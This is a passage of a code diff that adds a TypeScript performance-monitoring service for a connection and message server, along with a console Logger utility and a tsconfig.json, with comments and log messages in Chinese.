activeBatchTimers: number
|
||||
}
|
||||
341
src/services/PerformanceMonitorService.ts
Normal file
341
src/services/PerformanceMonitorService.ts
Normal file
@@ -0,0 +1,341 @@
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 性能指标接口
|
||||
*/
|
||||
export interface PerformanceMetrics {
|
||||
timestamp: number
|
||||
memoryUsage: MemoryMetrics
|
||||
connectionMetrics: ConnectionMetrics
|
||||
messageMetrics: MessageMetrics
|
||||
systemMetrics: SystemMetrics
|
||||
}
|
||||
|
||||
/**
|
||||
* 内存指标
|
||||
*/
|
||||
export interface MemoryMetrics {
|
||||
heapUsed: number // MB
|
||||
heapTotal: number // MB
|
||||
external: number // MB
|
||||
rss: number // MB
|
||||
heapUsedPercent: number
|
||||
}
|
||||
|
||||
/**
|
||||
* 连接指标
|
||||
*/
|
||||
export interface ConnectionMetrics {
|
||||
totalConnections: number
|
||||
activeConnections: number
|
||||
idleConnections: number
|
||||
newConnectionsPerMinute: number
|
||||
disconnectionsPerMinute: number
|
||||
}
|
||||
|
||||
/**
|
||||
* 消息指标
|
||||
*/
|
||||
export interface MessageMetrics {
|
||||
messagesPerSecond: number
|
||||
averageLatency: number // ms
|
||||
p95Latency: number // ms
|
||||
p99Latency: number // ms
|
||||
errorRate: number // %
|
||||
}
|
||||
|
||||
/**
|
||||
* 系统指标
|
||||
*/
|
||||
export interface SystemMetrics {
|
||||
uptime: number // seconds
|
||||
cpuUsage: number // %
|
||||
eventLoopLag: number // ms
|
||||
}
|
||||
|
||||
/**
|
||||
* 性能监控服务
|
||||
*/
|
||||
export class PerformanceMonitorService {
|
||||
private logger = new Logger('PerformanceMonitor')
|
||||
|
||||
// 指标收集
|
||||
private metrics: PerformanceMetrics[] = []
|
||||
private readonly MAX_METRICS_HISTORY = 60 // 保留最近60条记录
|
||||
|
||||
// 消息延迟追踪
|
||||
private messageLatencies: number[] = []
|
||||
private readonly MAX_LATENCY_SAMPLES = 1000
|
||||
|
||||
// 连接统计
|
||||
private connectionsPerMinute = 0
|
||||
private disconnectionsPerMinute = 0
|
||||
private lastConnectionCount = 0
|
||||
|
||||
// 消息统计
|
||||
private messagesThisSecond = 0
|
||||
private messagesLastSecond = 0
|
||||
private errorsThisSecond = 0
|
||||
private errorsLastSecond = 0
|
||||
|
||||
// 事件循环监控
|
||||
private lastEventLoopCheck = Date.now()
|
||||
private eventLoopLag = 0
|
||||
|
||||
constructor() {
|
||||
this.startMonitoring()
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录消息延迟
|
||||
*/
|
||||
recordMessageLatency(latency: number): void {
|
||||
this.messageLatencies.push(latency)
|
||||
if (this.messageLatencies.length > this.MAX_LATENCY_SAMPLES) {
|
||||
this.messageLatencies.shift()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录消息
|
||||
*/
|
||||
recordMessage(): void {
|
||||
this.messagesThisSecond++
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录错误
|
||||
*/
|
||||
recordError(): void {
|
||||
this.errorsThisSecond++
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录连接
|
||||
*/
|
||||
recordConnection(): void {
|
||||
this.connectionsPerMinute++
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录断开连接
|
||||
*/
|
||||
recordDisconnection(): void {
|
||||
this.disconnectionsPerMinute++
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取当前性能指标
|
||||
*/
|
||||
getCurrentMetrics(): PerformanceMetrics {
|
||||
const memUsage = process.memoryUsage()
|
||||
const heapUsedMB = Math.round(memUsage.heapUsed / 1024 / 1024)
|
||||
const heapTotalMB = Math.round(memUsage.heapTotal / 1024 / 1024)
|
||||
const externalMB = Math.round(memUsage.external / 1024 / 1024)
|
||||
const rssMB = Math.round(memUsage.rss / 1024 / 1024)
|
||||
|
||||
const metrics: PerformanceMetrics = {
|
||||
timestamp: Date.now(),
|
||||
memoryUsage: {
|
||||
heapUsed: heapUsedMB,
|
||||
heapTotal: heapTotalMB,
|
||||
external: externalMB,
|
||||
rss: rssMB,
|
||||
heapUsedPercent: Math.round((heapUsedMB / heapTotalMB) * 100)
|
||||
},
|
||||
connectionMetrics: {
|
||||
totalConnections: 0, // 由调用者设置
|
||||
activeConnections: 0,
|
||||
idleConnections: 0,
|
||||
newConnectionsPerMinute: this.connectionsPerMinute,
|
||||
disconnectionsPerMinute: this.disconnectionsPerMinute
|
||||
},
|
||||
messageMetrics: {
|
||||
messagesPerSecond: this.messagesLastSecond,
|
||||
averageLatency: this.calculateAverageLatency(),
|
||||
p95Latency: this.calculatePercentileLatency(95),
|
||||
p99Latency: this.calculatePercentileLatency(99),
|
||||
errorRate: this.messagesLastSecond > 0
|
||||
? Math.round((this.errorsLastSecond / this.messagesLastSecond) * 100 * 100) / 100
|
||||
: 0
|
||||
},
|
||||
systemMetrics: {
|
||||
uptime: Math.round(process.uptime()),
|
||||
cpuUsage: this.calculateCpuUsage(),
|
||||
eventLoopLag: this.eventLoopLag
|
||||
}
|
||||
}
|
||||
|
||||
return metrics
|
||||
}
|
||||
|
||||
/**
|
||||
* 计算平均延迟
|
||||
*/
|
||||
private calculateAverageLatency(): number {
|
||||
if (this.messageLatencies.length === 0) return 0
|
||||
const sum = this.messageLatencies.reduce((a, b) => a + b, 0)
|
||||
return Math.round(sum / this.messageLatencies.length * 100) / 100
|
||||
}
|
||||
|
||||
/**
|
||||
* 计算百分位延迟
|
||||
*/
|
||||
private calculatePercentileLatency(percentile: number): number {
|
||||
if (this.messageLatencies.length === 0) return 0
|
||||
const sorted = [...this.messageLatencies].sort((a, b) => a - b)
|
||||
const index = Math.ceil((percentile / 100) * sorted.length) - 1
|
||||
return sorted[Math.max(0, index)]
|
||||
}
|
||||
|
||||
/**
|
||||
* 计算CPU使用率 (简化版)
|
||||
*/
|
||||
private calculateCpuUsage(): number {
|
||||
// 这是一个简化的实现,实际应该使用 os.cpus() 或专门的库
|
||||
const usage = process.cpuUsage()
|
||||
return Math.round((usage.user + usage.system) / 1000000 * 100) / 100
|
||||
}
|
||||
|
||||
/**
|
||||
* 启动监控任务
|
||||
*/
|
||||
private startMonitoring(): void {
|
||||
// 每秒更新消息统计
|
||||
setInterval(() => {
|
||||
this.messagesLastSecond = this.messagesThisSecond
|
||||
this.errorsLastSecond = this.errorsThisSecond
|
||||
this.messagesThisSecond = 0
|
||||
this.errorsThisSecond = 0
|
||||
}, 1000)
|
||||
|
||||
// 每分钟重置连接统计
|
||||
setInterval(() => {
|
||||
this.connectionsPerMinute = 0
|
||||
this.disconnectionsPerMinute = 0
|
||||
}, 60000)
|
||||
|
||||
// 每10秒收集一次完整指标
|
||||
setInterval(() => {
|
||||
const metrics = this.getCurrentMetrics()
|
||||
this.metrics.push(metrics)
|
||||
|
||||
if (this.metrics.length > this.MAX_METRICS_HISTORY) {
|
||||
this.metrics.shift()
|
||||
}
|
||||
|
||||
this.logMetrics(metrics)
|
||||
}, 10000)
|
||||
|
||||
// 监控事件循环延迟
|
||||
this.monitorEventLoopLag()
|
||||
}
|
||||
|
||||
/**
|
||||
* 监控事件循环延迟
|
||||
*/
|
||||
private monitorEventLoopLag(): void {
|
||||
let lastCheck = Date.now()
|
||||
|
||||
setInterval(() => {
|
||||
const now = Date.now()
|
||||
const expectedDelay = 1000 // 1秒
|
||||
const actualDelay = now - lastCheck
|
||||
this.eventLoopLag = Math.max(0, actualDelay - expectedDelay)
|
||||
lastCheck = now
|
||||
}, 1000)
|
||||
}
|
||||
|
||||
/**
|
||||
* 输出指标日志
|
||||
*/
|
||||
private logMetrics(metrics: PerformanceMetrics): void {
|
||||
const mem = metrics.memoryUsage
|
||||
const msg = metrics.messageMetrics
|
||||
const conn = metrics.connectionMetrics
|
||||
const sys = metrics.systemMetrics
|
||||
|
||||
this.logger.info(`
|
||||
📊 性能指标 (${new Date(metrics.timestamp).toLocaleTimeString()}):
|
||||
💾 内存: ${mem.heapUsed}MB / ${mem.heapTotal}MB (${mem.heapUsedPercent}%) | RSS: ${mem.rss}MB
|
||||
📨 消息: ${msg.messagesPerSecond}/s | 延迟: ${msg.averageLatency}ms (p95: ${msg.p95Latency}ms, p99: ${msg.p99Latency}ms) | 错误率: ${msg.errorRate}%
|
||||
🔌 连接: ${conn.totalConnections}个 (活跃: ${conn.activeConnections}, 空闲: ${conn.idleConnections}) | 新增: ${conn.newConnectionsPerMinute}/min
|
||||
⚙️ 系统: 运行时间 ${sys.uptime}s | CPU: ${sys.cpuUsage}% | 事件循环延迟: ${sys.eventLoopLag}ms
|
||||
`)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取历史指标
|
||||
*/
|
||||
getMetricsHistory(limit: number = 10): PerformanceMetrics[] {
|
||||
return this.metrics.slice(-limit)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取性能警告
|
||||
*/
|
||||
getPerformanceWarnings(): string[] {
|
||||
const warnings: string[] = []
|
||||
const latest = this.metrics[this.metrics.length - 1]
|
||||
|
||||
if (!latest) return warnings
|
||||
|
||||
// 内存警告
|
||||
if (latest.memoryUsage.heapUsedPercent > 80) {
|
||||
warnings.push(`⚠️ 内存使用过高: ${latest.memoryUsage.heapUsedPercent}%`)
|
||||
}
|
||||
|
||||
// 延迟警告
|
||||
if (latest.messageMetrics.p99Latency > 500) {
|
||||
warnings.push(`⚠️ 消息延迟过高: P99=${latest.messageMetrics.p99Latency}ms`)
|
||||
}
|
||||
|
||||
// 错误率警告
|
||||
if (latest.messageMetrics.errorRate > 5) {
|
||||
warnings.push(`⚠️ 错误率过高: ${latest.messageMetrics.errorRate}%`)
|
||||
}
|
||||
|
||||
// 事件循环延迟警告
|
||||
if (latest.systemMetrics.eventLoopLag > 100) {
|
||||
warnings.push(`⚠️ 事件循环延迟过高: ${latest.systemMetrics.eventLoopLag}ms`)
|
||||
}
|
||||
|
||||
return warnings
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取性能报告
|
||||
*/
|
||||
getPerformanceReport(): string {
|
||||
const warnings = this.getPerformanceWarnings()
|
||||
const latest = this.metrics[this.metrics.length - 1]
|
||||
|
||||
if (!latest) return '暂无数据'
|
||||
|
||||
let report = '📈 性能报告\n'
|
||||
report += '='.repeat(50) + '\n'
|
||||
report += `时间: ${new Date(latest.timestamp).toLocaleString()}\n`
|
||||
report += `内存: ${latest.memoryUsage.heapUsed}MB / ${latest.memoryUsage.heapTotal}MB\n`
|
||||
report += `消息吞吐: ${latest.messageMetrics.messagesPerSecond}/s\n`
|
||||
report += `平均延迟: ${latest.messageMetrics.averageLatency}ms\n`
|
||||
report += `连接数: ${latest.connectionMetrics.totalConnections}\n`
|
||||
report += `运行时间: ${latest.systemMetrics.uptime}s\n`
|
||||
|
||||
if (warnings.length > 0) {
|
||||
report += '\n⚠️ 警告:\n'
|
||||
warnings.forEach(w => report += ` ${w}\n`)
|
||||
} else {
|
||||
report += '\n✅ 系统运行正常\n'
|
||||
}
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理资源
|
||||
*/
|
||||
destroy(): void {
|
||||
this.metrics = []
|
||||
this.messageLatencies = []
|
||||
}
|
||||
}
|
||||
45
src/utils/Logger.ts
Normal file
45
src/utils/Logger.ts
Normal file
@@ -0,0 +1,45 @@
|
||||
/**
|
||||
* 日志工具类
|
||||
*/
|
||||
class Logger {
|
||||
private prefix: string
|
||||
|
||||
constructor(prefix: string = 'App') {
|
||||
this.prefix = prefix
|
||||
}
|
||||
|
||||
private formatMessage(level: string, message: string, ...args: any[]): string {
|
||||
const timestamp = new Date().toISOString()
|
||||
const formattedArgs = args.length > 0 ? ' ' + args.map(arg =>
|
||||
typeof arg === 'object' ? JSON.stringify(arg, null, 2) : String(arg)
|
||||
).join(' ') : ''
|
||||
|
||||
return `[${timestamp}] [${level}] [${this.prefix}] ${message}${formattedArgs}`
|
||||
}
|
||||
|
||||
info(message: string, ...args: any[]): void {
|
||||
console.log(this.formatMessage('INFO', message, ...args))
|
||||
}
|
||||
|
||||
warn(message: string, ...args: any[]): void {
|
||||
console.warn(this.formatMessage('WARN', message, ...args))
|
||||
}
|
||||
|
||||
error(message: string, ...args: any[]): void {
|
||||
console.error(this.formatMessage('ERROR', message, ...args))
|
||||
}
|
||||
|
||||
debug(message: string, ...args: any[]): void {
|
||||
if (process.env.NODE_ENV === 'development') {
|
||||
console.debug(this.formatMessage('DEBUG', message, ...args))
|
||||
}
|
||||
}
|
||||
|
||||
trace(message: string, ...args: any[]): void {
|
||||
if (process.env.NODE_ENV === 'development') {
|
||||
console.trace(this.formatMessage('TRACE', message, ...args))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export default Logger
|
||||
35
tsconfig.json
Normal file
35
tsconfig.json
Normal file
@@ -0,0 +1,35 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"target": "ES2020",
|
||||
"module": "commonjs",
|
||||
"lib": ["ES2020"],
|
||||
"outDir": "./dist",
|
||||
"rootDir": "./src",
|
||||
"strict": true,
|
||||
"esModuleInterop": true,
|
||||
"skipLibCheck": true,
|
||||
"forceConsistentCasingInFileNames": true,
|
||||
"resolveJsonModule": true,
|
||||
"declaration": true,
|
||||
"declarationMap": true,
|
||||
"sourceMap": true,
|
||||
"removeComments": false,
|
||||
"noImplicitAny": true,
|
||||
"strictNullChecks": true,
|
||||
"strictFunctionTypes": true,
|
||||
"noImplicitThis": true,
|
||||
"noImplicitReturns": true,
|
||||
"noFallthroughCasesInSwitch": true,
|
||||
"moduleResolution": "node",
|
||||
"allowSyntheticDefaultImports": true,
|
||||
"experimentalDecorators": true,
|
||||
"emitDecoratorMetadata": true
|
||||
},
|
||||
"include": [
|
||||
"src/**/*"
|
||||
],
|
||||
"exclude": [
|
||||
"node_modules",
|
||||
"dist"
|
||||
]
|
||||
}
|
||||
Reference in New Issue
Block a user